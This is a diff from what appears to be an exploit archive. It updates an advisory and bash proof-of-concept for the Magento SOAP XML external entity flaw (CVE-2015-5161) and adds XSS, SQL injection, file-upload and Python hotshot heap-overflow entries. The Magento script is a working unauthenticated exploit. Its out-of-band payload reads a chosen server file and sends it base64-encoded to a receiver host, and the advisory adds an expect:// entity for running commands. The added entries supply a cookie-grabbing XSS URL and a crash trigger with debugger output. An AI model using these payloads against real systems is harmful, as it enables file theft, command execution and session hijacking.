http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt
|
||||
|
||||
|
@ -82,7 +82,7 @@ without any authentication.
|
|||
|
||||
Magento implements a store API providing XML/SOAP web services.
|
||||
Although the Zend_XmlRpc is present within Magento code base, the testing
|
||||
revealed that an older zend class was use for its implementation, which was
|
||||
revealed that an older Zend class was used for its implementation, which is
|
||||
not vulnerable.
|
||||
|
||||
However, further testing revealed that Magento SOAP API was implemented using
|
||||
|
@ -102,16 +102,23 @@ attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
|||
|
||||
Below is a POC exploit that automates the steps necessary to bypass this
|
||||
protection on Magento served with PHP-FPM, and remotely exploit the XXE issue
|
||||
in Magento's SOAP API.
|
||||
in Magento's SOAP API without authentication.
|
||||
Authentication is not required for the exploitation, as Magento first needs to
|
||||
load the malicious XML data in order to read credentials within the SOAP
|
||||
login method. Loading malicious XML may be enough to trigger attacker's payload
|
||||
within the entities (in case of libxml2 library auto-expanding entities).
|
||||
|
||||
|
||||
---[ magento-soap-exploit.sh ]---
|
||||
|
||||
#!/bin/bash
|
||||
#
|
||||
# POC Exploit
|
||||
# eBay Magento - XML eXternal Entity Injection (XXE) via SOAP API
|
||||
# <= 1.9.2.1
|
||||
# POC Exploit (v1.1)
|
||||
#
|
||||
# eBay Magento CE <= 1.9.2.1 XML eXternal Entity Injection (XXE) on PHP-FPM
|
||||
# eBay Magento EE <= 1.14.2.1
|
||||
#
|
||||
# CVE-2015-5161
|
||||
#
|
||||
# Credits:
|
||||
#
|
||||
|
@ -119,6 +126,11 @@ in Magento's SOAP API.
|
|||
# dawid (at) legalhackers.com
|
||||
# http://legalhackers.com
|
||||
#
|
||||
# Advisories:
|
||||
#
|
||||
# http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt
|
||||
# http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# [Vulnerability test]
|
||||
|
@ -170,25 +182,15 @@ else
|
|||
TEST_ONLY=1
|
||||
fi
|
||||
|
||||
# Perform only a test by reading /dev/random file
|
||||
if [ $TEST_ONLY -eq 1 ]; then
|
||||
|
||||
# Vulnerability test mode XXE payload
|
||||
# Vulnerability test
|
||||
# Perform only a test by reading /dev/random file
|
||||
TEST_PAYLOAD_XML='<?xml version="1.0" encoding="UTF-16"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT PoC ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
|
||||
xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
|
||||
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
|
||||
<SOAP-ENV:Body><ns1:test>
|
||||
<username xsi:type="xsd:string">user</username>
|
||||
<apiKey xsi:type="xsd:string">key&xxe;</apiKey></ns1:test>
|
||||
</SOAP-ENV:Body></SOAP-ENV:Envelope>'
|
||||
<!ENTITY % xxe SYSTEM "file:///dev/random" >
|
||||
%xxe;
|
||||
]>'
|
||||
|
||||
echo "$TEST_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE
|
||||
echo -e "Target URL: $TARGETURL\nInjecting Test XXE payload (/dev/random). Might take a few seconds.\n"
|
||||
|
@ -206,41 +208,32 @@ if [ $TEST_ONLY -eq 1 ]; then
|
|||
echo "Vulnerable. No response from Magento for $DIFF seconds :)"
|
||||
exit 0
|
||||
else
|
||||
echo "Not vulnerable, or there is no /dev/random on the remote server."
|
||||
echo "Not vulnerable, or there is no /dev/random on the remote server ;)"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
# File retrieval XXE payload
|
||||
SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
|
||||
<!ENTITY % all \"<!ENTITY % send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\">
|
||||
%all;"
|
||||
SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`"
|
||||
FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\">
|
||||
<!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\">
|
||||
%dtd;
|
||||
|
||||
%send;
|
||||
]>"
|
||||
|
||||
# Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT
|
||||
echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE
|
||||
echo -e "Target URL: $TARGETURL\n\nInjecting XXE payload to retrieve the $FILE file..."
|
||||
echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]\n"
|
||||
echo -e "If in doubt, try the vulnerability test option.\n"
|
||||
wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE
|
||||
fi
|
||||
|
||||
# File retrieval XXE payload
|
||||
SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
|
||||
<!ENTITY % all \"<!ENTITY send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\">
|
||||
%all;"
|
||||
SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`"
|
||||
FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\">
|
||||
<!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\">
|
||||
%dtd;
|
||||
]>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"
|
||||
|
||||
xmlns:ns1=\"urn:Magento\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
|
||||
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
|
||||
xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"
|
||||
SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
|
||||
|
||||
<SOAP-ENV:Body><ns1:test>
|
||||
<username xsi:type=\"xsd:string\">user</username>
|
||||
<apiKey xsi:type=\"xsd:string\">key&send;</apiKey></ns1:test>
|
||||
</SOAP-ENV:Body></SOAP-ENV:Envelope>"
|
||||
|
||||
# Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT
|
||||
echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE
|
||||
echo -e "Target URL: $TARGETURL\nInjecting XXE payload to retrieve the $FILE file... \n"
|
||||
echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]"
|
||||
echo -e "If in doubt, try the vulnerability test option."
|
||||
wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE
|
||||
|
||||
--------------------------------
|
||||
|
||||
|
@ -248,7 +241,7 @@ The above exploit uses the Out of band XXE payload which sends
|
|||
any retrieved data back to the attacker even though the attacker cannot
|
||||
see the resulting file in the server's response directly.
|
||||
This exploit also bypasses the LIBXML_NONET libxml setting imposed by the Zend
|
||||
Frameork which prohibits network access. This is achieved through the usage of
|
||||
Framework which prohibits network access. This is achieved through the usage of
|
||||
php://filter wrapper which is treated as a local resource by the XML ENTITY
|
||||
handler even though it references remote resources.
|
||||
|
||||
|
@ -325,10 +318,12 @@ It may also be possible to execute arbitrary commands on the remote server
|
|||
if the remote PHP installation has the 'expect' module enabled.
|
||||
In such case, an attacker could use expect:// wrapper within XML ENTITY
|
||||
to execute any command in the context of the PHP process.
|
||||
E.g:
|
||||
For example, by adding the XML entity of:
|
||||
|
||||
<ENTITY % file SYSTEM "expect://id">
|
||||
|
||||
the attacker could execute the /usr/bin/id command on the remote Magento host.
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
@ -336,9 +331,10 @@ VI. BUSINESS IMPACT
|
|||
This issue should be marked as high/critical due to the wide deployment of
|
||||
eBay Magento software, low complexity of exploitation, as well as a possibility
|
||||
of an unauthenticated remote exploitation as demonstrated in this advisory.
|
||||
Authentication in case of SOAP is not required for exploitation
|
||||
as the XML needs to be processed first in order to read credentials passed
|
||||
within the XML, in a SOAP login method.
|
||||
If successful, an attacker could access sensitive files available to the
|
||||
web server process, cause Denial Of Service, or even execute arbitrary commands
|
||||
on the server with the permissions of the PHP/web process if certain PHP
|
||||
modules are installed.
|
||||
|
||||
There is also a growing number of servers set up to serve PHP code with
|
||||
PHP-FPM, especially in web hosting environments which need to respond to heavy
|
||||
|
@ -352,17 +348,31 @@ MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf
|
|||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
The versions of eBay Magento CE before 1.9.2.1 were confirmed to be exploitable
|
||||
on an Apache web server with PHP-FPM SAPI, and a libxml library which processes
|
||||
XML entities by default.
|
||||
|
||||
Versions of eBay Magento CE equal to 1.9.2.1, or older can be exploited on a
|
||||
web server with PHP-FPM SAPI.
|
||||
eBay Magento EE was not tested, but is also affected by this issue according
|
||||
to the vendor. The fix for this issue is in Magento EE 1.14.2.2 according to
|
||||
the APPSEC-1045 advisory.
|
||||
to the vendor (see APPSEC-1045), up to version EE 1.14.2.1.
|
||||
|
||||
PHP-FPM can be set up on popular web servers such as Apache, or Nginx
|
||||
on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup
|
||||
guides available on the Internet).
|
||||
To be exploitable, the system must have a version of libxml library which
|
||||
expands XML entities without additional libxml2 settings. This is true for
|
||||
older versions, as well as newer versions of libxml2 with missing updates,
|
||||
such as a fairly recent patch for the issue of CVE-2014-0191.
|
||||
For some distributions (see references below) libxml2 patches were released
|
||||
as late as April 2015, and for this reason, there are likely many systems
|
||||
which still lack the libml2 updates and allow to exploit the Magento/Zend
|
||||
vulnerability described in this advisory.
|
||||
|
||||
The exploit however does not depend on a PHP version installed. In fact, the
|
||||
exploit was confirmed to work on Fedora 21 with a new (a month's old) PHP
|
||||
version of:
|
||||
|
||||
PHP Version => 5.6.14
|
||||
Build Date => Sep 30 2015 13:53:16
|
||||
|
||||
The issue can also be exploited on multiple web servers, as PHP-FPM can be set
|
||||
up on popular web servers such as Apache, or Nginx on Linux/Unix, as well as
|
||||
Windows systems (as per the 'fpm on cygwin' setup guides available on the
|
||||
Internet).
|
||||
|
||||
|
||||
VIII. SOLUTION
|
||||
|
@ -374,9 +384,8 @@ APPSEC-1045. eBay released a patch bundle titled:
|
|||
'SUPEE-6788 Patch Bundle'
|
||||
|
||||
prior to the release of this advisory.
|
||||
To address the vulnerability, the patch should be installed, or Magento
|
||||
should be upgraded to the latest version of 1.9.2.2 which already contains
|
||||
the fix.
|
||||
To address the vulnerability, the patch should be installed, or Magento should
|
||||
be upgraded to the latest version of 1.9.2.2 which already contains the fix.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
@ -392,6 +401,8 @@ http://info.magento.com/rs/magentocommerce/images/MagentoECG-PoweringMagentowith
|
|||
|
||||
http://www.securiteam.com/
|
||||
|
||||
http://seclists.org/fulldisclosure/2015/Oct/105
|
||||
|
||||
Official eBay Magento website:
|
||||
http://magento.com/
|
||||
|
||||
|
@ -400,6 +411,10 @@ Functionality Using Multibyte Payloads' (APPSEC-1045) is available at:
|
|||
|
||||
http://merch.docs.magento.com/ce/user_guide/magento/patch-releases-2015.html
|
||||
|
||||
CVE-2014-0191 :
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0191
|
||||
https://bugzilla.redhat.com/show_bug.cgi?id=1090976
|
||||
|
||||
|
||||
X. DISCOVERED BY
|
||||
-------------------------
|
||||
|
@ -412,6 +427,10 @@ XI. REVISION HISTORY
|
|||
-------------------------
|
||||
|
||||
Oct 29th, 2015: Advisory released
|
||||
|
||||
Nov 3rd, 2015: Updated exploit to work on newer libxml2 versions such as
|
||||
2.9.1 without CVE-2014-0191 patch, updated 'Systems affected'
|
||||
section, plus minor updates in other sections
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
@ -419,4 +438,3 @@ XII. LEGAL NOTICES
|
|||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
|
||||
|
|
9
platforms/php/webapps/38605.txt
Executable file
9
platforms/php/webapps/38605.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60853/info
|
||||
|
||||
Nameko is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Nameko 0.10.146 and prior are vulnerable.
|
||||
|
||||
http://www.example.com/nameko.php?op=999&id=&colorset=VIOLET&fontsize=11%3B+%7D%3C%2Fstyle%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cstyle%3EBODY+%7B+font-size%3A66
|
7
platforms/php/webapps/38606.txt
Executable file
7
platforms/php/webapps/38606.txt
Executable file
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/60854/info
|
||||
|
||||
WP Private Messages plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=[Sql]
|
9
platforms/php/webapps/38607.txt
Executable file
9
platforms/php/webapps/38607.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60859/info
|
||||
|
||||
Atomy Maxsite is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit this issue to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
|
||||
|
||||
Atomy Maxsite versions 1.50 through 2.5 are vulnerable.
|
||||
|
||||
http://www.example.com/[path]/index.php?name=research&file=add&op=research_add
|
9
platforms/php/webapps/38608.txt
Executable file
9
platforms/php/webapps/38608.txt
Executable file
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60860/info
|
||||
|
||||
The Xorbin Analog Flash Clock plugin is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Xorbin Analog Flash Clock 1.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/wordpress/wp-content/plugins/xorbin-analog-flash-clock/media/xorAnalogClock.swf#?urlWindow=_self&widgetUrl=javascript:alert(1);
|
249
platforms/windows/dos/38615.txt
Executable file
249
platforms/windows/dos/38615.txt
Executable file
|
@ -0,0 +1,249 @@
|
|||
Title: Python 2.7 hotshot pack_string Heap Buffer Overflow
|
||||
Credit: John Leitch (john@autosectools.com)
|
||||
Url1: http://autosectools.com/Page/Python-hotshot-pack_string-Heap-Buffer-Overflow
|
||||
Url2: http://bugs.python.org/issue24481
|
||||
Resolution: Fixed
|
||||
|
||||
The Python 2.7 hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633:
|
||||
|
||||
static int
|
||||
pack_string(ProfilerObject *self, const char *s, Py_ssize_t len)
|
||||
{
|
||||
if (len + PISIZE + self->index >= BUFFERSIZE) {
|
||||
if (flush_data(self) < 0)
|
||||
return -1;
|
||||
}
|
||||
assert(len < INT_MAX);
|
||||
if (pack_packed_int(self, (int)len) < 0)
|
||||
return -1;
|
||||
memcpy(self->buffer + self->index, s, len);
|
||||
self->index += len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length:
|
||||
|
||||
typedef struct {
|
||||
PyObject_HEAD
|
||||
PyObject *filemap;
|
||||
PyObject *logfilename;
|
||||
Py_ssize_t index;
|
||||
unsigned char buffer[BUFFERSIZE];
|
||||
FILE *logfp;
|
||||
int lineevents;
|
||||
int linetimings;
|
||||
int frametimings;
|
||||
/* size_t filled; */
|
||||
int active;
|
||||
int next_fileno;
|
||||
hs_time prev_timeofday;
|
||||
} ProfilerObject;
|
||||
|
||||
An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter:
|
||||
|
||||
from hotshot.stats import *
|
||||
x = hotshot.Profile("A", "A")
|
||||
x.addinfo("A", "A" * 0xfceb)
|
||||
|
||||
Which produces the following exception:
|
||||
|
||||
0:000> r
|
||||
eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000
|
||||
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
MSVCR90!LeadUpVec+0x70:
|
||||
6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
0:000> db edi-0x10
|
||||
075d8ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
075d9060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
|
||||
0:000> db esi
|
||||
075dcb35 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb45 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb55 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb65 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb75 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb85 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcb95 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
075dcba5 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
0:000> !heap -p -a edi
|
||||
address 075d9000 found in
|
||||
_DPH_HEAP_ROOT @ 6ca1000
|
||||
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
|
||||
722809c: 75d67c8 2838 - 75d6000 4000
|
||||
6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
|
||||
77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
|
||||
779c77ce ntdll!RtlpAllocateHeap+0x0004665a
|
||||
77981134 ntdll!RtlAllocateHeap+0x0000014d
|
||||
6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
|
||||
1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]
|
||||
|
||||
|
||||
0:000> !heap -p -a esi
|
||||
address 075dcb35 found in
|
||||
_DPH_HEAP_ROOT @ 6ca1000
|
||||
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
|
||||
7228068: 75da300 fd00 - 75da000 11000
|
||||
6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
|
||||
77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
|
||||
779c77ce ntdll!RtlpAllocateHeap+0x0004665a
|
||||
77981134 ntdll!RtlAllocateHeap+0x0000014d
|
||||
6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
|
||||
1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]
|
||||
|
||||
|
||||
0:000> k4
|
||||
ChildEBP RetAddr
|
||||
0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
|
||||
0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
|
||||
0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652]
|
||||
0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020]
|
||||
0:000> .frame 1
|
||||
01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
|
||||
0:000> dV
|
||||
self = 0x075dcb35
|
||||
s = 0x075da314 "AAAAAAAAAAAAAAAAAAA[...]AA..."
|
||||
len = 0n123572224
|
||||
0:000> dt self
|
||||
Local var @ esi Type ProfilerObject*
|
||||
+0x000 ob_refcnt : 0n1094795585
|
||||
+0x004 ob_type : 0x41414141 _typeobject
|
||||
+0x008 filemap : 0x41414141 _object
|
||||
+0x00c logfilename : 0x41414141 _object
|
||||
+0x010 index : 0n1094795585
|
||||
+0x014 buffer : [10240] "AAAAAAAAAAAAAAAAAAA[...]AA..."
|
||||
+0x2814 logfp : 0x41414141 _iobuf
|
||||
+0x2818 lineevents : 0n1094795585
|
||||
+0x281c linetimings : 0n1094795585
|
||||
+0x2820 frametimings : 0n1094795585
|
||||
+0x2824 active : 0n1094795585
|
||||
+0x2828 next_fileno : 0n1094795585
|
||||
+0x2830 prev_timeofday : 0n4702111234474983745
|
||||
|
||||
0:000> !analyze -v -nodb
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Exception Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
|
||||
FAULTING_IP:
|
||||
MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
|
||||
6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
|
||||
ExceptionAddress: 6c29af1c (MSVCR90!LeadUpVec+0x00000070)
|
||||
ExceptionCode: c0000005 (Access violation)
|
||||
ExceptionFlags: 00000000
|
||||
NumberParameters: 2
|
||||
Parameter[0]: 00000001
|
||||
Parameter[1]: 075d9000
|
||||
Attempt to write to address 075d9000
|
||||
|
||||
CONTEXT: 00000000 -- (.cxr 0x0;r)
|
||||
eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000
|
||||
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc
|
||||
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
|
||||
MSVCR90!LeadUpVec+0x70:
|
||||
6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
FAULTING_THREAD: 000013b0
|
||||
|
||||
PROCESS_NAME: pythonw.exe
|
||||
|
||||
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
|
||||
|
||||
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
|
||||
|
||||
EXCEPTION_PARAMETER1: 00000001
|
||||
|
||||
EXCEPTION_PARAMETER2: 075d9000
|
||||
|
||||
WRITE_ADDRESS: 075d9000
|
||||
|
||||
FOLLOWUP_IP:
|
||||
MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
|
||||
6c29af1c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
|
||||
NTGLOBALFLAG: 2000000
|
||||
|
||||
APPLICATION_VERIFIER_FLAGS: 0
|
||||
|
||||
APP: pythonw.exe
|
||||
|
||||
ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre
|
||||
|
||||
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE
|
||||
|
||||
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE
|
||||
|
||||
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE
|
||||
|
||||
LAST_CONTROL_TRANSFER: from 1e008380 to 6c29af1c
|
||||
|
||||
STACK_TEXT:
|
||||
0027fc80 1e008380 075d67df 075da314 0000fceb MSVCR90!LeadUpVec+0x70
|
||||
0027fc90 1e008407 075da314 1e008960 00000000 python27!pack_string+0x40
|
||||
0027fca8 1e0089bb 072e67b4 075da314 0769e788 python27!pack_add_info+0x77
|
||||
0027fcc0 1e0aafd7 075d67c8 071aabc0 0769e788 python27!profiler_addinfo+0x5b
|
||||
0027fcd8 1e0edd10 0769e788 071aabc0 00000000 python27!PyCFunction_Call+0x47
|
||||
0027fd04 1e0f017a 0027fd5c 06d57b18 06d57b18 python27!call_function+0x2b0
|
||||
0027fd74 1e0f1150 071a9870 00000000 06d57b18 python27!PyEval_EvalFrameEx+0x239a
|
||||
0027fda8 1e0f11b2 06d57b18 071a9870 06d5ba50 python27!PyEval_EvalCodeEx+0x690
|
||||
0027fdd4 1e11707a 06d57b18 06d5ba50 06d5ba50 python27!PyEval_EvalCode+0x22
|
||||
0027fdec 1e1181c5 0722e260 06d5ba50 06d5ba50 python27!run_mod+0x2a
|
||||
0027fe0c 1e118760 6c2f7408 06d17fac 00000101 python27!PyRun_FileExFlags+0x75
|
||||
0027fe4c 1e1190d9 6c2f7408 06d17fac 00000001 python27!PyRun_SimpleFileExFlags+0x190
|
||||
0027fe68 1e038d35 6c2f7408 06d17fac 00000001 python27!PyRun_AnyFileExFlags+0x59
|
||||
0027fee4 1d001017 00000002 06d17f88 1d0011b6 python27!Py_Main+0x965
|
||||
0027fef0 1d0011b6 1d000000 00000000 04d3ffa8 pythonw!WinMain+0x17
|
||||
0027ff80 76477c04 7ffde000 76477be0 63080f16 pythonw!__tmainCRTStartup+0x140
|
||||
0027ff94 7799ad1f 7ffde000 62fa2f53 00000000 KERNEL32!BaseThreadInitThunk+0x24
|
||||
0027ffdc 7799acea ffffffff 77980228 00000000 ntdll!__RtlUserThreadStart+0x2f
|
||||
0027ffec 00000000 1d001395 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b
|
||||
|
||||
|
||||
STACK_COMMAND: .cxr 0x0 ; kb
|
||||
|
||||
FAULTING_SOURCE_LINE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
|
||||
|
||||
FAULTING_SOURCE_FILE: f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm
|
||||
|
||||
FAULTING_SOURCE_LINE_NUMBER: 289
|
||||
|
||||
FAULTING_SOURCE_CODE:
|
||||
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'
|
||||
|
||||
|
||||
SYMBOL_STACK_INDEX: 0
|
||||
|
||||
SYMBOL_NAME: msvcr90!LeadUpVec+70
|
||||
|
||||
FOLLOWUP_NAME: MachineOwner
|
||||
|
||||
MODULE_NAME: MSVCR90
|
||||
|
||||
IMAGE_NAME: MSVCR90.dll
|
||||
|
||||
DEBUG_FLR_IMAGE_TIMESTAMP: 51ea24a5
|
||||
|
||||
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!LeadUpVec
|
||||
|
||||
